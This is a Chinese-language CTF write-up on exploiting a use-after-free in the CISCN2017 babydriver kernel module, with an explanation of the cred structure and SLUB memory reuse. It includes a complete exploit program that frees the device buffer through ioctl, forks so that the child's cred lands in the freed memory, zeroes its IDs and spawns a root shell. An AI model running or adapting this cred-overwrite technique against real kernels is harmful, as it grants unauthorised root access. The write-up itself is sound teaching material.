众所周知,UAF的全称是Use After Free,是一种释放后重用漏洞;之前一直是在用户态下对这个漏洞进行利用学习的,最近想要体验一下在内核环境中利用此漏洞进行提权操作....
用户态的常规UAF可以看这篇文章.....
这里我利用的CISCN2017 babydriver来进行学习的,环境我已经放到github上面了,需要的可以自行下载....
在Linux当中每个进程都有它自己的权限,而标示着权限的那些信息,比如uid,gid等都是被放在一个叫cred的结构体当中的,也就是说每个进程中都有一个cred结构,如果我们能够修改某个进程的cred,那么我们就可以修改这个进程的权限了....
这里展示版本为4.4.72的cred结构体的源码:
struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ #ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested * keys to */ struct key __rcu *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void *security; /* subjective LSM security */ #endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ struct rcu_head rcu; /* RCU deletion hook */ };
当我们是root权限的时候,我们的uid和gid都是等于0的,另外此版本的cred的大小是0xa8;
SLAB是一种内存管理机制,为了提高效率,SLAB要求系统暂时保留已经释放的内核对象空间,以便下次申请时不需要再次初始化和分配;但是,SLAB机制对内核对象的类型十分挑剔,只有类型和大小都完全一致的对象才能重用其空间;这就好比是装过鸡的笼子是不允许再去关兔子了,哪怕鸡和兔子的大小一样;
但是,和SLAB相比,SLUB对对象类型就没有限制,两个对象只要大小差不多就可以重用同一块内存,而不在乎类型是否相同;也就是说这次申请的空间的大小和上次释放的空间大小一样,那么这两个空间的地址会是一样的;SLUB机制就允许装过鸡的笼子再装兔子,只要大小ok就好.....
其实SLUB机制和堆分配机制是比较一样的,只是更加复杂一些....
现在具体分析一下题目:
首先在驱动中有一个结构体,保存着一个字符串的内容和长度:
struct babydev_struct{ char *device_buf; size_t device_buf_len; };
然后我们来看看主要的函数:
babyopen:
申请一块大小为0x40字节的空间,然后将地址存储在全局变量babydev_struct.device_buf
上,并更新babydev_struct.device_buf_len
babywrite:
先检查babydev_struct.device_buf_len
长度是否大于v4,然后把buffer中的数据拷贝到babydev_struct.device_buf
中,其中buffer和长度都是用户传递的参数....
babyread:
先检查长度是否小于babydev_struct.device_buf_len
,然后把 babydev_struct.device_buf 中的数据拷贝到buffer
中,buffer 和长度都是用户传递的参数....
babyioctl:
这个函数定义了一个0x10001的命令,可以释放全局变量babydev_struct
中的device_buf
,再根据用户传递的size
重新申请一块内存,并且更新device_buf_len
这个从用户态的pwn来看好像漏洞并不明显,但是我们现在是在内核态了,要把用户态的单线程的思维抛开了,要从多线程的角度来思考了....
我们都知道在Linux当中,一切都是文件,不管你是不是硬件;
如果我们打开了两个设备文件,也就是调用了两次babyopen函数,因为babydev_struct是全局的,第一次分配了buf,第二次其实将会覆盖第一次分配的buf;如果我们free了第一个buf,那么第二个其实就已经是被释放过的了,这样我们就制造了一个UAF漏洞了....
然后我们结合前面说的slub机制,我们可以想办法把某个进程的cred结构体被放进这个UAF的空间里,所以我们思路就是:
exp.c:
#include<stdio.h> #include<fcntl.h> #include <unistd.h> int main(){ int fd1,fd2,id; char cred[0xa8] = {0}; fd1 = open("dev/babydev",O_RDWR); fd2 = open("dev/babydev",O_RDWR); ioctl(fd1,0x10001,0xa8); close(fd1); id = fork(); if(id == 0){ write(fd2,cred,28); //写入28个0,一直把egid及其之前的值都变为成0,就会被认为是root了; if(getuid() == 0){ printf("[*]welcome root:\n"); system("/bin/sh"); return 0; } } else if(id < 0){ printf("[*]fork fail\n"); } else{ wait(NULL); } close(fd2); return 0; }
编译:
gcc exp.c -o exp -static -w
运行:
我们可以利用gdb调试,查看babydev_struct一步步变成了ctf权限的cred然后被修改为root的cred的:
正常的babydev_struct:
ctf权限的cred:
其中uid=1000表示的是ctf用户.....
root的cred:
内核态的漏洞利用和用户态的利用是有点区别的,但是漏洞原理基本不变;
要理解内核态的漏洞利用还是要了解一些基本的内核运行机制,用户态的函数是如何与内核态的函数交互的,比如为什么poc中调用了write函数就刚好可以把内容写在babydev_struct的buf里面等等....
这道题还有一种比较复杂的利用方法,同样可以看看....